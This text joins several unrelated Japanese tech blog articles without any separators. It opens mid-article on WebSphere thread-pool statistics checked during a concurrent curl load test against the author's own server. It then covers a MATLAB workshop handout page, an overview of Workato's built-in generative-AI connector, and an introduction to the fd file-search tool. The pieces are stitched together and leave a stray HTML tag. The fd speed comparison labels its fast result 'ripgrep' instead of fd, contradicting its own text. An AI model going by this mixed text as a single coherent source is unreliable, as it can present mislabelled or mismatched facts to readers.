Stats name=WebContainer, type=threadPoolModule
{
name=ActiveCount, ID=3, description=The number of concurrently active threads., unit=N/A, type=BoundedRangeStatistic, lowWaterMark=0, highWaterMark=2, current=1, integral=33775.0, lowerBound=0, upperBound=0

name=PoolSize, ID=4, description=The average number of threads in a pool., unit=N/A, type=BoundedRangeStatistic, lowWaterMark=1, highWaterMark=50, current=2, integral=3228.0, lowerBound=50, upperBound=50
}
```
#### 6. http://ホスト名:9080/db.connections/db に多重リクエストを送ってみます
```
% xargs -I % -P 20 curl -I "http://ホスト名:9080/db.connections/db" < <(printf '%s\n' {1..10})
HTTP/1.1 200 OK
X-Powered-By: Servlet/3.1
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: JSESSIONID=00000vhFUDL2rFox4pWWLYpP9ho:-1; Path=/; HttpOnly
Date: Wed, 11 Dec 2024 01:26:20 GMT
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
(以下省略)
```

#### 7. もう一度MBeanのStatsを確認します。PoolSizeは2から11に増えていました。
```
wsadmin>print webthdp

Stats name=WebContainer, type=threadPoolModule
{
name=ActiveCount, ID=3, description=The number of concurrently active threads., unit=N/A, type=BoundedRangeStatistic, lowWaterMark=0, highWaterMark=11, current=11, integral=6.5274116E7, lowerBound=0, upperBound=0

name=PoolSize, ID=4, description=The average number of threads in a pool., unit=N/A, type=BoundedRangeStatistic, lowWaterMark=1, highWaterMark=50, current=11, integral=1.38530999E8, lowerBound=50, upperBound=50
}
wsadmin>print webthdp.getStatistic('PoolSize').getCurrent()
11
wsadmin>print webthdp.getStatistic('ActiveCount').getCurrent()
11
```
【MATLAB可視化講座】 配布資料アーカイブ

この記事では、早稲田大学で実施する MATLAB 講習会の配布資料を共有します。

資料は、エクセルファイルと MATLAB のライブスクリプトです。

講習会当日は、ライブスクリプト `worksheet.mlx` の穴埋め問題を解きながら、ハンズオン形式で可視化の手順を学びます。

参加できなかった方も、回答例として用意した `worksheet_ans.mlx` を読むことで、グラフ作成の方法を学べるようになっています。ぜひご活用ください！

# 2024年12月11日
1. [配布資料をダウンロード](https://drive.google.com/uc?export=download&id=1XIdzfs_CLKTbOwGbkkiqkLZR6zTrLU8N) します
1. ダウンロードしたファイルを展開します
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2612115/4e7e0409-437d-8cec-569f-3a0bf9b9cd40.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2612115/881cae7c-81f1-d883-032d-f86e5ae00b3d.png)
1. MATLAB で資料を開きます。
    【MATLAB を**インストール済み**の場合（推奨）】
    1. MATLABを起動します
    1. 「現在のフォルダ」として**展開済みの配布資料**を選択します
    
    ![画面録画-2024-12-11-145031.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2612115/978f57ff-c072-ddcc-1959-1d31167736fe.gif)
【MATLAB を**インストールしていない**場合】
    1. [MATLAB Online](https://matlab.mathworks.com/) にアクセスし、「MATLAB Online を開く」を押します
    1. 展開済みの**配布資料の中身**を「ファイル」の場所にドラッグアンドドロップします
![画面録画-2024-12-11-145720.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2612115/d51a99b0-71aa-4df3-1d0f-e6a83230f721.gif)

1. `worksheet.mlx` をダブルクリックし開きます

</details>
Workato：Workatoですぐに始める生成AI活用（AI by Workato）

# AI by Workatoとは

AI by Workatoは、OpenAIとのコラボレーションを通じて開発されたWorkatoユーティリティコネクタです。Workatoにビルトインされている機能であるため、**OpenAI API(ChatGPT)等の生成AIサービスを契約することなく**、Workato上ですぐに生成AIサービスと連携したレシピの開発・運用が可能です。

また、AI by Workatoに渡された結果は生成AIのトレーニングには使用されないことが明示されていますので、ビジネスで生成AIを使用する際も安心して利用することができます。

https://www.workato.com/ja-JP/platform/ai-by-workato

https://docs.workato.com/connectors/ai-by-workato.html

# AI by Workatoでできること

AI by Workatoでできることは、OpenAI社のOpenAI APIと概ね同様です。違いは、Workatoを契約いただいていれば、一部のプランを除き、他の生成AIサービスを契約することなくすぐに使える点にあります。

なお、OpenAI APIが提供する全てのAPIが利用可能ではなく、利用可能なAPIメソッド（エンドポイント）は特定のものに限られます。また、モデルの選択やRAGの利用もできません。Workatoにおいては、以下の機能（アクション）を利用することが出来ます。

## 文章に対するコンテキスト分析

ChatGPT等の生成AIで良く使われる、プロンプトに指示を渡して生成AIに処理をさせるものです。様々なユースケースで応用が可能です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/919aae95-bb54-4295-dfb6-62e0c6dd1df4.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/d126673d-6b4f-5462-31df-87f6722a6a1e.png)

## 文章の要約作成

指定された文字数を上限に文章の要約を作成することができます。
会議の議事録やイベントのセッション内容の要約等に活用が可能です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/a0b5c695-f82e-6c53-6fee-2e5f6c8cd161.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/8a86fc5f-197c-b9ce-d850-bff6d381439f.png)

## 非構造化テキストの構造化

指定された文章（非構造化テキスト）を構造化された状態に変換します。
人が目視し、コピペで行っていたデータ作成作業は本機能で代替することで、作業の省力化が期待できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/715ee51d-4881-8e15-893d-d6e7d22a55bc.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/3ac91fd0-9722-72c6-6e9b-c39c43076b6c.png)

## 文章のカテゴライズ

指定された文章に対するカテゴライズを行うことができます。
感情分析にも利用可能なため、例えば営業やサポート等におけるトラブル防止にも活用可能です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/481d05c5-f73f-f69f-9fcf-cc40bbbf7af1.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/0bf03d23-a652-0599-4c9e-05e49a4e0a37.png)

## メールのドラフト作成

メールのドラフト（下書き）を作成することができます。
メールの下書き作成が自動化されることで、メール作成に要していた時間が短縮されます。これにより、商談のやり取り等、メールが係る業務の省力化も期待できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/e613d5c7-3d1e-3c4f-adcc-d914feaf6046.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/be59daa7-c175-9bda-4faa-0c06ef912dd1.png)

## 文書翻訳

指定された言語に対する翻訳ができます。
サードパーティの翻訳サービスを別途契約する必要なく、Workatoのみで機械翻訳が実現可能です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/87c93ae3-1734-e3e8-bfda-6ebf037a0c70.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64876/145f07ae-21b1-e9cf-e14a-d6f7a6539473.png)

# 最後に

Workatoを利用してこれから生成AIに取り組みたいけれど、OpenAI APIやGeminiなどの生成AIサービスを別途契約するのがハードルとなっている（例えば、社内決裁がハードルになっている）場合は、まずは本機能でWorkatoの生成AI活用を試されることお勧めします。
高速なfindといえばfd

メリークリスマス！[開発環境を紹介します Advent Calendar 2024](https://adventar.org/calendars/10438)です。

今日も今日とて隙間産業。
本日紹介するのは、fd。
以前に高速なgrepとしてripgrepを紹介しましたが、今回は高速なfindになります。

## [fd](https://github.com/sharkdp/fd)

こちらも今更説明がいるのかと思うくらい有名なプロジェクトです。

findはご存知のとおり、ファイル検索コマンドです。
検索先と検索式を入力として受け取り、検索式にマッチするファイルを出力します。

fdはより高速でより使いやすいALT findとして生まれました。
例えばfindと比べてデフォルトで以下のように動作します。

- globパターンではなく正規表現がデフォルト
- 大文字小文字はスマートケースがデフォルト[^smartcase]
- 出力の色付け
- 隠しファイルを除外
- gitignoreを認識して除外

[^smartcase]: 大文字小文字の差を基本的には無視するが、大文字始まりのアッパーキャメルを検索するときは大文字小文字を認識する。最近多いですね。

### 実行例

インストール方法によりますが、コマンド`fd`または`fd-find`で使えます。
デフォルトでlsのような色付けがされます。
もちろん正規表現も使えます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/42721/691b8e54-6d8d-ce3d-b09c-d9e5c32267d4.png)

### findとの速度比較

手元の環境にて、サイズ12GB、ファイル数330kほどのホームディレクトリで試しました。
検索するのはファイル名が4文字ピッタリのもの。
findの検索と同等にするため、fdにはオプションを付与しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/42721/72d24965-93e7-9522-dd7a-9602708c800e.png)

- find
  - 963.8 ms
- ripgrep
  - 43.7 ms

実に21倍以上の差がついています。
はやい！

## まとめ

fdの紹介でした。
findの代わりに高速なfdを使おう！